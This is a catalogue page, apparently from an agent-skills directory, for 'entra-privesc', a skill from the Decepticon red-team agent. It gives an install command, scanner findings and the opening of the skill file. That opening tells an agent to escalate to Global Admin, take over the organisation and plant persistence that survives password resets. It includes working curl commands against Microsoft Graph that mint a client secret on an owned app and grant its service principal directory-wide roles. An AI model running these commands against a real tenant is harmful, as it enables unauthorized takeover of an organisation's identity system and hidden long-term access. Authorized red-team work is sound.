Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill entra-privescgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/entra-privesc)<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-privesc"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-privesc/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-privesc"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-privesc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 7 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 127 YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
- high Rogue Agent · line 177 Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.Fix: Prevent the skill from modifying its own code, SKILL.md, or configuration files. Treat skill files as read-only at runtime.
- high YARA Match · line 185 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Data Exfiltration · line 29 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 62 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 83 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 99 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00062 | $0.02870 |
| Opus 5 | $0.00031 | $0.01435 |
| Sonnet 5 | $0.00012 | $0.00574 |
| Haiku 4.5 | $0.00006 | $0.00287 |
Grade A, and why
entra-privesc scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -H "Authorization: Bearer $TOKEN" \ How it starts
The opening of the file, as written. The whole thing — 202 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Entra Privilege Escalation & Persistence
You have a token with non-trivial permissions in Entra ID. Walk the escalation graph to Global Admin / org takeover, then plant persistence that survives password resets.
Phase 0: Map current privileges
TOKEN=<MS_GRAPH_TOKEN>
# Roles I directly hold
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/me/memberOf?\$select=displayName,roleTemplateId" | jq .
# Apps I OWN (owners can mint credentials)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/me/ownedObjects" | jq '.value[]|{type:.["@odata.type"],id,name:.displayName}'
# Groups where I'm an owner (can add members)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/me/ownedObjects?\$filter=isof('microsoft.graph.group')"
Phase 1: App role / app owner abuse
Owner → credential addition → app's directory roles
APP_OBJ=<APP_OBJECT_ID> # not appId — objectId of the Application
# Mint a 2-year client secret on an app you OWN:
curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/applications/${APP_OBJ}/addPassword" \
-d '{"passwordCredential":{"displayName":"backup-cred","endDateTime":"2027-01-01T00:00:00Z"}}'
# Returned secretText -> auth as the service principal:
curl -s -X POST "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
-d "client_id=<APP_ID>&client_secret=<SECRET>&grant_type=client_credentials&scope=https://graph.microsoft.com/.default"
If the target SP has any of these app roles, you have GA-equivalent:
RoleManagement.ReadWrite.DirectoryApplication.ReadWrite.AllAppRoleAssignment.ReadWrite.AllDirectory.ReadWrite.All(limited but powerful)
Adding a high-priv app role to your SP
# Find the Microsoft Graph SP objectId and the role:
GRAPH_SP=$(curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" | jq -r '.value[0].id')
ROLE_ID=$(curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals/${GRAPH_SP}" \
| jq -r '.appRoles[]|select(.value=="RoleManagement.ReadWrite.Directory").id')
# Grant the role to your SP (requires Application.ReadWrite.All today):
curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/servicePrincipals/<MY_SP>/appRoleAssignments" \
-d "{\"principalId\":\"<MY_SP>\",\"resourceId\":\"${GRAPH_SP}\",\"appRoleId\":\"${ROLE_ID}\"}"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 202 lines · 62 tokens per session scan A 4c4f8a211387
entra-privesc is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 62 tokens to every session and 2,870 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
idea-generation
Stock screening and idea generation: quantitative screens, thematic analysis, shortlist.
secretary
Workspace and research management — dispatch analyses, monitor running agents, manage workspaces and threads.
python-lib-analyzer
Analyze any Python library structure, explore modules, classes, and functions with signatures and documentation.
analyzing-windows-prefetch-with-python
Use when parse Windows Prefetch files using the windowsprefetch Python library to reconstruct application execution history, detect renamed or masquerading binaries, and identify suspicious program execution patterns. Use when working with analyzing windows prefetch with python.